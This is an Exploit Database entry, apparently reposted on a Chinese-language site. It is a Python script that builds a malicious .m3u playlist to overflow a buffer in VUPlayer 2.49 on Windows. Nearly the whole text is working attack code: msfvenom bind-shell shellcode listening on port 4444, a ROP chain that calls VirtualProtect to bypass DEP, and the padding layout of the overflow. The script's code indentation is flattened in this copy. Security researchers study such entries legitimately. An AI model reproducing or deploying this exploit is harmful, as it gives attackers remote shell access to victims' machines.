VUPlayer 2.49 .m3u – Local Buffer Overflow (DEP,ASLR)

Exploit Database
125 阅读

作者： Gobinathan

日期： 2020-05-22
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/48507/

# Exploit title: VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP,ASLR)

# Date: 2020-05-22

# Exploit Author: Gobinathan L

# Vendor Homepage: http://www.vuplayer.com/

# Version: v2.49

# Tested on: Windows 7 Professional with ALSR and Full DEP Turned ON.

# Usage : $ python <exploit>.py

#===================================[ VUPlayer 2.49 Exploit Generator ]======================================#

import struct

# msfvenom -p windows/shell_bind_tcp exitfunc=thread -b "\x00\x0a\x0d\x1a" -f c

shell = ("\xd9\xc9\xd9\x74\x24\xf4\x5a\x2b\xc9\xb1\x53\xbd\xa9\xc1\xbf"

"\xb1\x83\xc2\x04\x31\x6a\x13\x03\xc3\xd2\x5d\x44\xef\x3d\x23"

"\xa7\x0f\xbe\x44\x21\xea\x8f\x44\x55\x7f\xbf\x74\x1d\x2d\x4c"

"\xfe\x73\xc5\xc7\x72\x5c\xea\x60\x38\xba\xc5\x71\x11\xfe\x44"

"\xf2\x68\xd3\xa6\xcb\xa2\x26\xa7\x0c\xde\xcb\xf5\xc5\x94\x7e"

"\xe9\x62\xe0\x42\x82\x39\xe4\xc2\x77\x89\x07\xe2\x26\x81\x51"

"\x24\xc9\x46\xea\x6d\xd1\x8b\xd7\x24\x6a\x7f\xa3\xb6\xba\xb1"

"\x4c\x14\x83\x7d\xbf\x64\xc4\xba\x20\x13\x3c\xb9\xdd\x24\xfb"

"\xc3\x39\xa0\x1f\x63\xc9\x12\xfb\x95\x1e\xc4\x88\x9a\xeb\x82"

"\xd6\xbe\xea\x47\x6d\xba\x67\x66\xa1\x4a\x33\x4d\x65\x16\xe7"

"\xec\x3c\xf2\x46\x10\x5e\x5d\x36\xb4\x15\x70\x23\xc5\x74\x1d"

"\x80\xe4\x86\xdd\x8e\x7f\xf5\xef\x11\xd4\x91\x43\xd9\xf2\x66"

"\xa3\xf0\x43\xf8\x5a\xfb\xb3\xd1\x98\xaf\xe3\x49\x08\xd0\x6f"

"\x89\xb5\x05\x05\x81\x10\xf6\x38\x6c\xe2\xa6\xfc\xde\x8b\xac"

"\xf2\x01\xab\xce\xd8\x2a\x44\x33\xe3\x45\xc9\xba\x05\x0f\xe1"

"\xea\x9e\xa7\xc3\xc8\x16\x50\x3b\x3b\x0f\xf6\x74\x2d\x88\xf9"

"\x84\x7b\xbe\x6d\x0f\x68\x7a\x8c\x10\xa5\x2a\xd9\x87\x33\xbb"

"\xa8\x36\x43\x96\x5a\xda\xd6\x7d\x9a\x95\xca\x29\xcd\xf2\x3d"

"\x20\x9b\xee\x64\x9a\xb9\xf2\xf1\xe5\x79\x29\xc2\xe8\x80\xbc"

"\x7e\xcf\x92\x78\x7e\x4b\xc6\xd4\x29\x05\xb0\x92\x83\xe7\x6a"

"\x4d\x7f\xae\xfa\x08\xb3\x71\x7c\x15\x9e\x07\x60\xa4\x77\x5e"

"\x9f\x09\x10\x56\xd8\x77\x80\x99\x33\x3c\xa0\x7b\x91\x49\x49"

"\x22\x70\xf0\x14\xd5\xaf\x37\x21\x56\x45\xc8\xd6\x46\x2c\xcd"

"\x93\xc0\xdd\xbf\x8c\xa4\xe1\x6c\xac\xec")

ret = struct.pack("<I", 0x10010158)

def create_rop_chain():

rop_gadgets = [

0x100106e1,#POP EBP RET

0x100106e1,#Ptr to POP EBP RET popped into EBP

0x10015f82,#POP EAX RET

0xfffffdff,#Value to Negate.. result in 0x201

0x10014db4,#NEG EAX RET

0x10032f72,#XCHG EAX, EBX RET

0x10015f82,#POP EAX RET

0xffffffc0,#Value to negate ..result in 0x40

0x10014db4,#NEG EAX RET

0x10038a6d,#XCHG EAX, EDX RET

0x106053e5,#POP ECX RET

0x101082cc,#Random Location with Write Access

0x1001621c,#POP EDI RET

0x10010158,#RET will be stored in EDI

0x10604154,#POP ESI RET

0x10101c02,#JMP [EAX]

0x10015f77,# POP EAX # RETN [BASS.dll]

0x10109270,# ptr to &VirtualProtect() [IAT BASSWMA.dll]

0x1001d7a5,# PUSHAD # RETN

0x10022aa7,# JMP ESP

]

return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

shellcode = "\x90"*32 + shell

buffer = "A"*1012

buffer+= ret

buffer+= rop_chain

buffer+= shellcode

buffer+= "\x90"*(2500 - len(buffer))

try:

f = open("exploit.m3u", "w")

f.write(buffer)

print("[+] Payload Generated Successfully.")

print("[+] Check for Open Port [4444] on Target Machine. A Bind shell is waiting for you..")

f.close()

except:

print("[-] Couldn't Generate Payload.")